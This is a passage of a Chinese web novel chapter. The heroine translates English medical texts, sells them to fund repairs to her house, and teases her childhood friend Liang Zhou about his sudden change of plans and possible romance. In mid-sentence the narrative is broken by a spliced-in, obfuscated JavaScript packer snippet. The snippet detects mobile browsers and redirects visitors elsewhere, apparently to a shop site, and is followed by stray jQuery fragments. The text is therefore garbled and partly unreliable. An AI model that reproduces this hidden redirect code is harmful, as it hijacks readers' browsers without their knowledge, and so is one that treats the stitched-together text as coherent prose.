她枯坐良久,仍想不出什么好办法,倒是引起了旁边床上晚睡的姑娘注意。
“杨珊,你不是睡了?咋又坐起来了?是不是做噩梦了?”那姑娘关心地问道。
“嗯,我缓缓就睡。”楚霏应了一声,复又躺回床上。
算了,既然刘韬不靠近,那就先不管他,她现在首要的事是还账、收拾房子。
于是,楚霏把刘韬抛之脑后,继续忙着上课、翻译英文书籍,她在又翻译了一本小说后,便改了方向去翻译那些专业资料。
因为小说这东西,大都有情情爱爱的内容,她不能理解这个,遇到这种内容,即便是古文水平高,也没法准确地将之以汉语诗词或是成语翻译过来,导致她这本小说的译文交给出版社后,审核时被圈出不少谬误的地方,还是出版社那边帮着改的。
而专业资料就不会有这种问题,只是专业资料会涉及很多学术用语,楚霏想要翻译他们,就先得了解相关的专业知识。
好在她学习能力强、记忆力也出众,一边学一边翻译,熟练度一上来,速度就快了。
楚霏首先翻译的是医学方面的英文资料,这个她高中时已经陆续看过西医的
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16328848|180148||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
书,很多专业名词都知道,翻译时不用查太多资料和英文词典。
等大二上学期结束,她已完成了两本英文医学书籍的译文,这次同样是找梁珘帮着去卖的,专业译文书籍有相应的渠道出版,这得找对地方才行。
相比起教辅资料和英文小说,这种专业的译文书籍价格更高一些,这两本书最后卖了近五万块钱,这回她没拿去还账,而是找人准备收拾房子。
“先找人把杂物、垃圾清理了,修复房子的匠人再找找,有些活儿天暖了才好干。”梁珘提了建议,“我帮你打问,别着急。”
“你不忙了?不是这学期就要毕业了?”楚霏问。
梁珘研究生已经读到第三年了,按现在的学制,今年就能毕业了。
“还行,现在该准备毕设和论文,时间比较自由。”
“不搞研究了?你大学的时候,大四那年不是照样很忙?”楚霏诧异不已。
梁珘笑了笑,唇边弧度明显:“不搞了,我想开家公司,以后做软件开发之类的,如果有好的成果,说不定能和国家合作。”
虽然自小一起长大,但从没看到他笑容这么明显过。
楚霏迟疑:“你不是一直想当科学家的吗?”
梁婷婷端着盘洗好的苹果过来,道:“听说啊,这人一旦有突然的变化,不是恋爱了就是失恋了,哥,你是哪一种啊?”
梁珘只笑不说话。
楚霏就更意外了:“恋爱了?”
她确定他之前没有相熟的女孩子,不可能是失恋。
梁婷婷见他没有否认,顿时来了兴趣,凑到跟前问:“哥,你真恋爱了?是谁啊?哪儿的姑娘,怎么认识的?”
梁珘哪招架得住她这样追问,便道:“只是看到一个特别的人。”
“嗐,你这是连认识都不认识?”梁婷婷无语地往后一躺,白了他一眼,“哥,你这不行啊!”
楚霏:“是校友?偶然见到的?”